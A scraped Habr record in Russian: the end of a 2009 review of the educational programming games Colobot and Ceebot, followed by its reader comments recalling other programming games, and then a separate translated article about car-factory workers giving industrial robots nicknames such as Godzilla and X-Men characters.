довольно большой архив уже готовых программ. Используйте уже написанные программы, улучшайте их и присылайте им обратно на сайт. Начните уже наконец хоть как-то вносить свой вклад в великое дело OpenSource!<br/> <br/> <h2>Ceebot</h2><br/> <br/> Нельзя не упомянуть о том, что существует и версия Colobot для учебных заведений. Ceebot достаточно уверенно развивается, и даже обзавелся собственным сайтом <a href="http://www.ceebot.org">http://ceebot.org</a>, где публикуется различный обучающий материал.<br/> <br/> <p></p><div style="text-align:center;"><img src="http://pic.ipicture.ru/uploads/090512/BFyjMjhRRe.jpg" alt="Гонки" title="Гонки" width="300" height="225" data-src="http://pic.ipicture.ru/uploads/090512/BFyjMjhRRe.jpg" data-blurred="true"/></div><br/> <br/> Версия для учебных заведений содержит гораздо больший функционал, большое количество различных заданий и миссий. Существует даже <a href="http://www.ceebot.org/index.php?option=com_content&amp;task=view&amp;id=25&amp;Itemid=40&amp;lang=en">специальные тетради</a> для школьников.<br/> <br/> Чего только стоит программирование <a href="http://www.ceebot.org/index.php?option=com_content&amp;task=view&amp;id=18&amp;Itemid=45&amp;lang=en">футбольного матча</a> и <a href="http://www.ceebot.org/index.php?option=com_content&amp;task=view&amp;id=17&amp;Itemid=44&amp;lang=en">гонки роботов</a>! <br/> <br/> <p></p><div style="text-align:center;"><img src="http://pic.ipicture.ru/uploads/090512/JZBv3O6UMa.jpg" alt="Футбол" title="Футбол" width="300" height="183" data-src="http://pic.ipicture.ru/uploads/090512/JZBv3O6UMa.jpg" data-blurred="true"/></div><br/> <br/> Хотите поучаствовать в схватке с знакомым программистом? Без проблем, для Вас доступен режим <a href="http://www.ceebot.org/index.php?option=com_content&amp;task=view&amp;id=19&amp;Itemid=46&amp;lang=en">Арена</a>! Докажите, что Вы умеете лучше программировать на деле!<br/> <br/> <p></p><div style="text-align:center;"><img src="http://pic.ipicture.ru/uploads/090512/N2O2w67fan.jpg" alt="Война" title="Война" width="300" height="135" data-src="http://pic.ipicture.ru/uploads/090512/N2O2w67fan.jpg" data-blurred="true"/></div><br/> <br/> Также можете ознакомиться с небольшим <a href="http://www.youtube.com/watch?v=RlyKxjKXQcY">видео</a>, которое я нашел на <a href="http://youtube.com">youtube.com</a>, иллюстрирующем процесс программирования в Colobot:<br/> <br/> <a href="http://youtube.com/watch?v=RlyKxjKXQcY">youtube.com/watch?v=RlyKxjKXQcY</a><br/> <br/> На официальном сайте доступна демо-версия игры для <a href="http://www.ceebot.org/index.php?option=com_content&amp;task=view&amp;id=23&amp;Itemid=50&amp;lang=en">скачивания</a> и ознакомления.<br/> <br/> И не забудьте посоветовать эту игру знакомым мальчикам(девочкам?) — вдруг это будущий гений программирования!<br/> <br/> Если Вам интересны мои статьи, то существует хак, позволяющий читать их до релиза на хабрахабре: подписаться на <a href="http://v673.com">мой блог</a>, ну или на <a href="http://twitter.com/v673">твиттер</a>. <br/> <br/> Удачи!</div>
Станислав (v673)
null
null
<img src="http://pic.ipicture.ru/uploads/090512/hw6ef46uq3.png" alt="Геймпад" title="Геймпад" width="128" height="128" align="left">В мире всегда существовали некоторые закрытые общества, которые доступны только ограниченному кругу людей. Для того, чтобы попасть туда нужно было обладать чем-то необычным. Например, ездить на <a href="http://www.bentleymotors.com">Bentley</a> или курить <a href="http://www.cigars-review.org/Cohiba-Behike.htm">Behike</a>.<br> <br> Но я сейчас говорю про общества, где входным билетом служат не деньги, а знания. Да, да, Вы не поверите, но я говорю про программистов.<br> <br> Ведь только мы способны сутками заниматься совершенствованием алгоритма, только мы можем бесконечно долго заниматься проектированием и совершенствованием архитектуры проекта, рисуя никому не понятные UML-диаграммы и странные схемы. Но есть еще один вид занятий, некий закрытый клуб для посвященных, который сгубил не одну тысячу часов, подняв профессионализм его участников до небес. Я говорю про Игры для программистов.<br> <br> Их существует огромное количество, каждая игра по своему интересна, у каждой своя архитектура, свой <a href="http://ru.wikipedia.org/wiki/%D0%98%D0%BD%D1%82%D0%B5%D1%80%D1%84%D0%B5%D0%B9%D1%81_%D0%BF%D1%80%D0%BE%D0%B3%D1%80%D0%B0%D0%BC%D0%BC%D0%B8%D1%80%D0%BE%D0%B2%D0%B0%D0%BD%D0%B8%D1%8F_%D0%BF%D1%80%D0%B8%D0%BB%D0%BE%D0%B6%D0%B5%D0%BD%D0%B8%D0%B9">API-интерфейс</a>. Так как всех их невозможно охватить в отдельной заметке — я решил начать серию заметок про различные игры.<br> <br> <b>P.S.</b> Создал открытый блог <a href="http://habrahabr.ru/blogs/programmers_games/">Игры для программистов</a>.<br> <br>
В мире всегда существовали некоторые закрытые общества, которые доступны только ограниченному кругу людей. Для того, чтобы попасть туда нужно было обладать чем-то необычным. Например, ездить на Bentley или курить Behike. Но я сейчас говорю про общества, где входным билетом служат не деньги, а знания. Да, да, Вы не поверите, но я говорю про программистов. Ведь только мы способны сутками заниматься совершенствованием алгоритма, только мы можем бесконечно долго заниматься проектированием и совершенствованием архитектуры проекта, рисуя никому не понятные UML-диаграммы и странные схемы. Но есть еще один вид занятий, некий закрытый клуб для посвященных, который сгубил не одну тысячу часов, подняв профессионализм его участников до небес. Я говорю про Игры для программистов. Их существует огромное количество, каждая игра по своему интересна, у каждой своя архитектура, свой API-интерфейс. Так как всех их невозможно охватить в отдельной заметке — я решил начать серию заметок про различные игры. P.S. Создал открытый блог Игры для программистов.
article
1,242,404,073
{ "commentsCount": 47, "favoritesCount": 111, "readingCount": 32693, "score": 120, "votesCount": 130, "votesCountPlus": 125, "votesCountMinus": 5 }
[]
[ "social_networks" ]
[ "popsci" ]
[ "colobot", "ceebot", "игры для программистов" ]
5
null
null
{ "id": [ 13249885, 13249887, 13249889, 13249891, 13249893, 13249895, 13249897, 13249899, 13249901, 13249903, 13249905, 13249907, 13249909, 13249911, 13249913, 13249915, 13249917, 13249919, 13249921, 13249923, 13249925, 13249927, 13249929, 13249931, 13249933, 13249935, 13249937, 13249939, 13249941, 13249943, 13249945, 13249947, 13249949, 13249951, 13249953, 13249955, 13249957, 13249959, 13249961, 13249963, 13249965, 13249967, 13249969, 13249971, 13249973, 13249975, 13249977 ], "parent_id": [ null, null, 13249887, 13249889, 13249889, null, null, null, 13249889, 13249899, 13249889, null, null, 13249909, 13249903, null, 13249915, 13249913, 13249917, null, 13249923, null, null, null, null, null, null, null, 13249939, null, null, 13249907, null, null, 13249895, 13249951, null, null, null, null, 13249889, 13249941, 13249955, 13249959, 13249971, 13249973, 13249975 ], "level": [ 0, 0, 1, 2, 2, 0, 0, 0, 2, 1, 2, 0, 0, 1, 2, 0, 1, 3, 2, 0, 1, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 1, 0, 0, 1, 1, 0, 0, 0, 0, 2, 2, 2, 1, 2, 3, 4 ], "time_published": [ 1242407435, 1242407629, 1242407882, 1242408945, 1242409002, 1242411687, 1242412065, 1242412606, 1242412693, 1242412899, 1242413900, 1242414541, 1242414889, 1242415267, 1242415279, 1242415308, 1242415627, 1242416230, 1242417081, 1242419581, 1242420311, 1242421283, 1242422282, 1242422370, 1242424705, 1242425886, 1242440343, 1242448086, 1242455260, 1242456364, 1242457463, 1242466128, 1242471116, 1242472736, 1242478462, 1242482443, 1242497405, 1242509407, 1242557083, 1242563162, 1242573210, 1242573657, 1242573817, 1242573929, 1365592981, 1365593587, 1365596246 ], "score": [ 2, 0, 29, 0, 0, 4, 2, 2, 0, -1, 0, 1, 1, 0, 2, 1, 1, 3, 0, 1, 0, 3, 8, 2, 0, 0, 10, 0, 3, 2, 1, 0, 0, 3, 0, 1, 0, 0, 0, 0, 0, 0, 1, 1, 0, 0, 0 ], "votes": [ 2, 2, 29, 0, 0, 4, 2, 2, 0, 3, 0, 1, 1, 2, 4, 1, 1, 3, 0, 1, 0, 3, 8, 2, 0, 0, 10, 2, 3, 2, 1, 0, 0, 3, 0, 1, 0, 0, 0, 0, 0, 0, 1, 1, 0, 0, 0 ], "message_html": [ "<div xmlns=\"http://www.w3.org/1999/xhtml\">Классно! надо попробовать</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Играл как-то в нее, но относительного опытному программисту это уже слишком легко. Была мысль переписать ИИ у ботов, но стало лениво. :)<br/>\r\nСамые дурацкие миссии — это когда самому нужно что-то сделать, а не программой прогнать, как дошел до одной такой — так и забросил.<br/>\r\n</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Обзоры игр для опытных программистов я обязательно напишу позже. Если, конечно же, хабраобщественность поддержит.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">На мой взгляд, это достаточно интересно, почему бы и нет?</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Я бы тоже с радостью почитал.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">начинающему программисту(ака школьнику) это в 100 раз лучше чем паскалить до посинения. По крайне мере в те времена играл в колобота очень увлеченно </div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">О да, это великая игра. Я о ней в 2001 году первый раз и узнал — демку заиграл до дыр.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Я помню раньше играл в crobots и probots — консольные игры, программирование боевых роботов на C и Pascal соответственно.<br/>\r\nИ кстати будете освещать игры не забудьте про Core Wars можно для неё отдельный пост даже выделить…</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Обязательно поддержит!</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Хотя Core Wars будет наверно сложноват для большинства нынешних программистов.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">UFO just landed and posted this here</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">да, в нашу молодость мы гоняли пучка на Logo — был такой язык программирования вроде…</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">от майкрософта был тоже очень интерестный проект, назывался Terrarium. погуглил, оказывается он еще жив </div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">млин, с отрицательной кармой ссылки не вставляются? :(<br/>\r\nweblogs.asp.net/bsimser/archive/2008/07/16/reintroducing-terrarium-now-with-2-0-goodness.aspx</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Не надо грязи. До сих пор люди пишут и на плюсах, и на ассемблере.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Хехе, когда-то было заскриптовал целый мир такой:<br/>\r\n— добывается руда, перерабатывается<br/>\r\n— делаются батарейки, вставляются в роботов<br/>\r\n— роботы строятся, отправляются на поле скирмиш-боя, где подзарядка<br/>\r\nИ так теоретически до бесконечности, если трупики собирать.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">А я нашел карту, где есть месторождения урана и руды, и в результате толпа ботов нечеловеческих размеров билась на равнине, усыпая трупами своими пустоши.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Да я никого не хотел обидеть. Извините. Вырвалось. :-[</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Карты вроде можно рисовать хоть в паинте ..)</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Давным-давно программировал боевых роботов в <a href=\"http://www.igromania.ru/Articles/2986/Robot_Warfare_Bitva_intellektov.htm\">ROBOT WARFARE 1</a><br/>\r\nВот это была реальная жесть :)<br/>\r\n<a href=\"http://robots.chat.ru/\">Официальный сайт</a>, к сожалению, сейчас ведет в никуда</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Прекрасная была игра, в своё время тоже узнал о ней из игромании и играл с огромным удовольствием. Всё было там как надо, разве что все операции в языке требовали игрового времени(то есть робот мог долго думать если в его коде было например много IFов), а решалось это использованием массивов с командами вместо if условий, в которые в качестве индекса подставлялось условие. Вобщем это было на мой взгляд ужасно и неправильно.<br/>\r\n<br/>\r\nДавно хотел бы лицезреть более развитую аналогию этой игры. Было бы просто безумно интересно попрограммировать виртуального робота и посражаться им с кем-нибудь из знакомых программистов.<br/>\r\n<br/>\r\n</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">robocode.sourceforge.net/</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">ИМХО специально заточенные под программирование игры могут быть полезны начинающим программерам. Гораздо интереснее и забойнее — написать бота к нормальной online игрушке, у которой есть защита кода, защита от ботов, отсутствует документация и api, т.е. классический пример типичного современного enterprise продукта 8) </div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Ждем постов про Robocode, Terrarium, Project Hoshimi и серию Electric Junge ;)</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Еще очень интересно программировать электронные системы в игре Garris Mod. <br/>\r\nЕсть там такой раздел WireMod, в котором на настоящем Си и асме можно прогить прошивку для проца, который через шину будет управлять всей системой). Возможности почти безграничны<br/>\r\n<br/>\r\nВот пример: <a href=\"http://www.youtube.com/watch?v=b60OXjCeDbE\">www.youtube.com/watch?v=b60OXjCeDbE</a></div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">А про многопользовательские или он-лайновые напишите?</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Езди на Bentley. Кури Behike. Играй в Colobot.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Вспомниются игра UpLink :) В свое время очень много времени провел за ней :)</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">это уже, скорее, аркада.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">В 11 классе участвовал в заочном туре студенческой олимпиады. Задача стояла в написании бота для игры в лабиринт. Двух ботов от двух разных команд высаживают на карте, ее топология неизвестна. Боты могут ходить и стрелять, причем стены они видят, только когда натыкаются на них. Начальное местоположение противника неизвестно, но информация о всех его ходах доступна. Задача в том, чтобы убить противника или найти выход. Довольно забавная штука получилась, особенно интересно было потом наблюдать за результатами дуэлей, когда наш бот, определив местоположение противника, напролом бежал его убивать. Вроде даже в десятку вошли.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">А мне вот вспомнились «игры для программистов» с платформы ZX-Spectrum, на которой многие взрослели. Помнится было что-то вроде «Soldier of Future» графической визуализацией программирования и развернутым конструированием самих роботов-солдат (чем больше ячеек памяти поставишь, тем длиннее код, но тем меньше ресурсов под оружие и т.п.) <br/>\r\nЕсть и еще одно направление, помимимо игр жанра «напиши код чтобы оно побежало». Я имею ввиду развернутые Life-game проекты, Virus на том же Спектруме. Создаешь конфигурацию саморазвивающегося организма-вируса со множеством параметров но в формате игры «Жизнь», пересылаешь на BBS в назначеное время, а там уже админ демонстративно стравливает присланных участников друг с другом, организуя турнир. Ну и попутные торжественные мероприятия.<br/>\r\nВ общем хотелось бы узнать и о такого рода проектах. Заранее спасибо</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">черепашку</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">А в тему ли будет такая разновидность игр, как hacker-mode в The Matrix?</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">подразумевается, что программист после трудового дня придет домой и будет играть в программиста?!</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">+1 <br/>\r\nв то время учился гдето в 10 классе, игруха очень затянула. прошел за неделю. Местами слишком просто. Но качественнее игр на подобную тематику до сих пор нету :(</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Да — мы такие.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Большое спасибо за обзор! Давно хотел что — нибудь такое попробовать. В универе выпала возможность писать программы для робота, в лаборатории робототехники тусовался ) Времена прошли, а тяга осталась к железу ) Уже поднаедают все эти БД, UI,… Интересно видеть как от твоих рук что — то «оживает».</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Кстати, для такой вещи, как колобот, по моему мнению, лучше бы подошел язык с более сладким синтаксисом. Руби, например.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Заинтересовался ) скачаю. Спасибо за интересную статью</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Наверное для таких игр язык должен быть событийно-ориентированным, думаю удобнее чем бесконечный цикл и куча if-ов.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Есть ещё такая интересная игрушка. как Uplink. Напишите обязательно и про неё! Хотя она и не столько для программистов =)</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Но обойти её вниманием — нельзя! ИМХО.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">\"… Турбины толкать способны взглядом, вращать любовь по небосводу, заставляя рыдать природу...\" =)) Почему то Ундервуд вспомнился.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Игра 2001 года и как бы намекает… =))</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Руби появился в 95м (некрокоммент).</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">ппц я долго вдуплял в Ваш и свой коммент =)</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Я с Википедии попал в пост случайно совершенно :)</div>" ], "message_markdown": [ "Классно! надо попробовать", "Играл как-то в нее, но относительного опытному программисту это уже слишком легко. Была мысль переписать ИИ у ботов, но стало лениво. :)\nСамые дурацкие миссии — это когда самому нужно что-то сделать, а не программой прогнать, как дошел до одной такой — так и забросил.", "Обзоры игр для опытных программистов я обязательно напишу позже. Если, конечно же, хабраобщественность поддержит.", "На мой взгляд, это достаточно интересно, почему бы и нет?", "Я бы тоже с радостью почитал.", "начинающему программисту(ака школьнику) это в 100 раз лучше чем паскалить до посинения. По крайне мере в те времена играл в колобота очень увлеченно", "О да, это великая игра. Я о ней в 2001 году первый раз и узнал — демку заиграл до дыр.", "Я помню раньше играл в crobots и probots — консольные игры, программирование боевых роботов на C и Pascal соответственно.\nИ кстати будете освещать игры не забудьте про Core Wars можно для неё отдельный пост даже выделить...", "Обязательно поддержит!", "Хотя Core Wars будет наверно сложноват для большинства нынешних программистов.", "UFO just landed and posted this here", "да, в нашу молодость мы гоняли пучка на Logo — был такой язык программирования вроде...", "от майкрософта был тоже очень интерестный проект, назывался Terrarium. погуглил, оказывается он еще жив", "млин, с отрицательной кармой ссылки не вставляются? :(\nweblogs.asp.net/bsimser/archive/2008/07/16/reintroducing-terrarium-now-with-2-0-goodness.aspx", "Не надо грязи. До сих пор люди пишут и на плюсах, и на ассемблере.", "Хехе, когда-то было заскриптовал целый мир такой:\n— добывается руда, перерабатывается\n— делаются батарейки, вставляются в роботов\n— роботы строятся, отправляются на поле скирмиш-боя, где подзарядка\nИ так теоретически до бесконечности, если трупики собирать.", "А я нашел карту, где есть месторождения урана и руды, и в результате толпа ботов нечеловеческих размеров билась на равнине, усыпая трупами своими пустоши.", "Да я никого не хотел обидеть. Извините. Вырвалось. :-[", "Карты вроде можно рисовать хоть в паинте ..)", "Давным-давно программировал боевых роботов в ROBOT WARFARE 1\nВот это была реальная жесть :)\nОфициальный сайт, к сожалению, сейчас ведет в никуда", "Прекрасная была игра, в своё время тоже узнал о ней из игромании и играл с огромным удовольствием. Всё было там как надо, разве что все операции в языке требовали игрового времени(то есть робот мог долго думать если в его коде было например много IFов), а решалось это использованием массивов с командами вместо if условий, в которые в качестве индекса подставлялось условие. Вобщем это было на мой взгляд ужасно и неправильно.\nДавно хотел бы лицезреть более развитую аналогию этой игры. Было бы просто безумно интересно попрограммировать виртуального робота и посражаться им с кем-нибудь из знакомых программистов.", "robocode.sourceforge.net/", "ИМХО специально заточенные под программирование игры могут быть полезны начинающим программерам. Гораздо интереснее и забойнее — написать бота к нормальной online игрушке, у которой есть защита кода, защита от ботов, отсутствует документация и api, т.е. классический пример типичного современного enterprise продукта 8)", "Ждем постов про Robocode, Terrarium, Project Hoshimi и серию Electric Junge ;)", "Еще очень интересно программировать электронные системы в игре Garris Mod.\nЕсть там такой раздел WireMod, в котором на настоящем Си и асме можно прогить прошивку для проца, который через шину будет управлять всей системой). Возможности почти безграничны\nВот пример: www.youtube.com/watch?v=b60OXjCeDbE", "А про многопользовательские или он-лайновые напишите?", "Езди на Bentley. Кури Behike. Играй в Colobot.", "Вспомниются игра UpLink :) В свое время очень много времени провел за ней :)", "это уже, скорее, аркада.", "В 11 классе участвовал в заочном туре студенческой олимпиады. Задача стояла в написании бота для игры в лабиринт. Двух ботов от двух разных команд высаживают на карте, ее топология неизвестна. Боты могут ходить и стрелять, причем стены они видят, только когда натыкаются на них. Начальное местоположение противника неизвестно, но информация о всех его ходах доступна. Задача в том, чтобы убить противника или найти выход. Довольно забавная штука получилась, особенно интересно было потом наблюдать за результатами дуэлей, когда наш бот, определив местоположение противника, напролом бежал его убивать. Вроде даже в десятку вошли.", "А мне вот вспомнились «игры для программистов» с платформы ZX-Spectrum, на которой многие взрослели. Помнится было что-то вроде «Soldier of Future» графической визуализацией программирования и развернутым конструированием самих роботов-солдат (чем больше ячеек памяти поставишь, тем длиннее код, но тем меньше ресурсов под оружие и т.п.)\nЕсть и еще одно направление, помимимо игр жанра «напиши код чтобы оно побежало». Я имею ввиду развернутые Life-game проекты, Virus на том же Спектруме. Создаешь конфигурацию саморазвивающегося организма-вируса со множеством параметров но в формате игры «Жизнь», пересылаешь на BBS в назначеное время, а там уже админ демонстративно стравливает присланных участников друг с другом, организуя турнир. Ну и попутные торжественные мероприятия.\nВ общем хотелось бы узнать и о такого рода проектах. Заранее спасибо", "черепашку", "А в тему ли будет такая разновидность игр, как hacker-mode в The Matrix?", "подразумевается, что программист после трудового дня придет домой и будет играть в программиста?!", "+1\nв то время учился гдето в 10 классе, игруха очень затянула. прошел за неделю. Местами слишком просто. Но качественнее игр на подобную тематику до сих пор нету :(", "Да — мы такие.", "Большое спасибо за обзор! Давно хотел что — нибудь такое попробовать. В универе выпала возможность писать программы для робота, в лаборатории робототехники тусовался ) Времена прошли, а тяга осталась к железу ) Уже поднаедают все эти БД, UI,... Интересно видеть как от твоих рук что — то «оживает».", "Кстати, для такой вещи, как колобот, по моему мнению, лучше бы подошел язык с более сладким синтаксисом. Руби, например.", "Заинтересовался ) скачаю. Спасибо за интересную статью", "Наверное для таких игр язык должен быть событийно-ориентированным, думаю удобнее чем бесконечный цикл и куча if-ов.", "Есть ещё такая интересная игрушка. как Uplink. Напишите обязательно и про неё! Хотя она и не столько для программистов =)", "Но обойти её вниманием — нельзя! ИМХО.", "\"... Турбины толкать способны взглядом, вращать любовь по небосводу, заставляя рыдать природу...\" =)) Почему то Ундервуд вспомнился.", "Игра 2001 года и как бы намекает... =))", "Руби появился в 95м (некрокоммент).", "ппц я долго вдуплял в Ваш и свой коммент =)", "Я с Википедии попал в пост случайно совершенно :)" ], "author": [ "Станислав (Ctacus)", "Джон Смит (vooft)", "Станислав (v673)", "Юрий Гайдук (stebator)", "Джон Смит (vooft)", "Номачи (noma4i)", "Виктор Брыксин (bobermaniac)", "1amer (1amer)", "antyblin (antyblin)", "1amer (1amer)", "{}", "Николай Мациевский (sunnybear)", "denim", "denim", "Виктор Брыксин (bobermaniac)", "Маслов Виктор (Nakilon)", "Виктор Брыксин (bobermaniac)", "1amer (1amer)", "Маслов Виктор (Nakilon)", "SanYOKK (SanYOKK)", "Shens (Shens)", "Alver (Alver)", "Bobos (Bobos)", "IT-диктатор (sse)", "Мешин Дмитрий (DoctorDemon)", "skfd", "Женя Золотько (E_Z)", "Иван (arxont)", "LighteR (LighteR)", "ElComandante (ElComandante)", "Александр (Falko)", "Nikolai Minkevich (nymin)", "kossmoss (kossmoss)", "whitered (whiteRed)", "Алексей (KiLEX)", "Станислав (v673)", "OlegPro (darked)", "Маслов Виктор (Nakilon)", "XRain", "asux (asux)", "Виталий Петров (vitaly_KF)", "Виталий Петров (vitaly_KF)", "Виталий Петров (vitaly_KF)", "Виталий Петров (vitaly_KF)", "murr", "Виталий Петров (vitaly_KF)", "murr" ], "children": [ [], [ 13249889 ], [ 13249891, 13249893, 13249901, 13249905, 13249965 ], [], [], [ 13249953 ], [], [ 13249903 ], [], [ 13249913 ], [], [ 13249947 ], [ 13249911 ], [], [ 13249919 ], [ 13249917 ], [ 13249921 ], [], [], [ 13249925 ], [], [], [], [], [], [], [], [ 13249941 ], [ 13249967 ], [], [], [], [], [ 13249955 ], [], [ 13249969 ], [], [ 13249971 ], [], [], [], [], [], [ 13249973 ], [ 13249975 ], [ 13249977 ], [] ] }
367,707
ru
https://habr.com/ru/post/367707/
Как рабочие заводов научились любить своих коллег-роботов
Tesla называет роботов именами супергероев, а Nissan предпочитает персонажей аниме. Имя Годзилла любят все. На заводе Tesla во Фримонте, штат Калифорния, самые большие роботы на общей сборочной линии названы в честь супергероев из серии комиксов «Люди Икс». Рабочие на заводе грузовиков Navistar в штате Огайо не были настроены дружелюбно, когда почти 40 лет назад на производстве появился новый коллега. Это был робот-сварщик, и люди, комплектующие производственную линию, думали о нем как о нарушителе спокойствия, представляющем волну автоматизации, которая ставит под угрозу их рабочие места. Они прозвали его Scabby (Подлый). Сегодня завод по изготовлению грузовиков закрыт, а враждебность по отношению к машинам рассеивается. Гигантские роботы, способные выполнять работу нескольких человек, заработали уважение после десятилетий сосуществования и теперь получают новые, более интересные прозвища. Годзилла от компании Ford Тенденция лучше всего прослеживается на заводе во Фримонте, штат Калифорния, под управлением Tesla Motors Inc., основанном большим фанатом комиксов Элоном Маском. Крупнейшие роботы были названы в честь супергероев Marvel. Их зовут Росомаха, Профессор X, Альпинист и Зверь. Имена вписываются в атмосферу производства. Завод в совместном владении Toyota Motor Corp. и General Motors Co. в настоящее время отображает "Эволюцию человека", показывая фреску с обезьянами, превращающимися в мужчин и женщин, которые, в свою очередь, трансформируются в Железного Человека. Более десяти роботов Tesla имеют имена > Они — супергерои, так как делают сверхчеловеческие вещи, — сказал Ник Табак, который вместе с другими инженерами давал роботом имена. — Мы назвали их в честь Людей Икс, и это сделало их менее пугающими и больше частью команды. > На заводе во Фримонте огромные роботы поднимают алюминиевые электромобили Model S и переносят их на новую линию. Придерживаясь темы, компания заказала дизайнеру графическое изображение в стиле комиксов того, что происходит на каждой станции. Компания Tesla не одинока, а данное явление не уникально для Северной Америки. В компаниях Ford Motor Co., Honda Motor Co., General Motors, Nissan Motor Co. и Toyota – везде рабочие дают имена самым уважаемым роботам. На заводе Nissan в Кюсю на юге Японии есть желтые роботы, названные в честь известных персонажей аниме; они выполняют сварочные работы. Летят искры, в то время как огромные металлические части машин проходят свой путь к окончательной сборке. Одного зовут Сон Гоку, другого — Вегета. Это персонажи из японского аниме-сериала "Драконий жемчуг Зет", в котором искатели приключений защищают мир от зла. Также на заводе Nissan работают роботы, которых зовут Дораэмон и Дорами из шоу "Дораэмон", хитового аниме-сериала с сюжетом, относящимся к прошлым десятилетиям. Одного робота зовут Лаффи — это главный герой манги «One Piece. Большой куш», в которой рассказывается о молодом человеке, чье тело имеет все свойства резины. Мин Су Кан, профессор гуманитарных наук из Университета Миссури (Сент-Луис), говорит, что люди, как правило, неоднозначно сосуществуют с машинами, но также считает, что они могут вызывать чувство родства или комфорта. "Мы не даем имя ножницам, но, когда они начинают действовать, как человек, у них есть шанс получить имя". Несколько десятилетий назад на теперь закрытом заводе Navistar сотрудники вкладывали клюшку в руку робота Scabby и он загонял мячи в лунку во время семейных корпоративов. Это сделало машину более доступной и более человечной. > Я помню, как ходил туда на день семьи и видел, как он загоняет мячи в лунку, — сказал Джейсон Барлоу, работник Navistar International в третьем поколении и сотрудник Объединенного профсоюза автостроителей. — Но был страх, так как люди думали, что он заберет их рабочие места. > Г-н Кан, автор книги «Благородные мечты о живых машинах», говорит, что явление, когда роботам дают имена, может свидетельствовать об уважении, но этот поступок также имеет оттенок страха: "Глубоко внутри эти работники боятся. Если машины не контролировать, они могут быть чрезвычайно опасными". В компании Honda робота Fanuc M-2000 в открытую называют T-Rex, а между собой — Годзиллой. На других заводах его также называют Годзиллой. Форд запускает новый, более легкий пикап F-150 с алюминиевым корпусом, который представляет собой квантовый скачок для промышленности, которая уже давно полагалась на сталь. Работу невозможно выполнить без Baby Zilla — робота автоматической линии, который двигает готовый корпус грузовика из кузовного цеха на сборочные линии в Дирборн, штат Мичиган, и в Канзас-Сити, штат Миссури. Однако Baby Zilla находится в тени Годзиллы — гигантского робота М-2000 Fanuc, работающего на заводах компании Ford, где изготавливают корпусы из стали. Способный поднять почти 3000 фунтов, он берет автомобиль и перемещает его с одной движущейся линии сборки на другую. По тому, как работает робот, открывая и закрывая зажимы, можно легко увидеть сходство с огнедышащим 30-метровым монстром, который несет разорение в Токио. Toyota, GM и Honda — все называют Годзиллами роботов на своих заводах. > Он настолько велик, что делает работу, которую раньше выполняли несколько машин, — сказал Рон Кетелхат, инженер, работающий на заводе Ford. — Это самый большой робот в промышленности. > Годзилла компании Honda работает в тандеме с другим М-2000, которого окрестили T-Rex, в Ист-Либерти, штат Огайо, на заводе, где изготавливают внедорожник С-RV. > Это одна из моих любимых вещей на заводе,- сказал Том Литавиш, инженер-координатор на заводе Honda. — Один робот устанавливает двигатель, а другой ставит заднюю подвеску. > Автомобильные заводы рады посетителям от местного правительства или СМИ, и робот T-Rex всегда привлекает внимание. "Люди останавливаются, чтобы посмотреть на него, когда проходят мимо", — сказал г-н Литавиш. Во время недавнего дня семьи (похожего на проводившиеся в Navistar много лет назад) рабочие подготовили пару гигантских роботов Honda, чтобы они могли развлекать толпу. Один робот держал небольшой объект, который должен был напоминать НЛО, висящий в воздухе благодаря массивным зажимам. Он был запрограммирован, чтобы перемещать объект так, как будто это летающая тарелка. К руке другого робота прикрепили манекен инопланетянина в 1,80 м ростом, которого он перемещал вверх и вниз, что сопровождалось светом стробоскопов. Завод Honda в Огайо также использует больших сварочных роботов, которых зовут Биг Мак и Громадина. "Мы дали им имена, скорее всего, потому, что гордимся ими", — сказал г-н Литавиш.
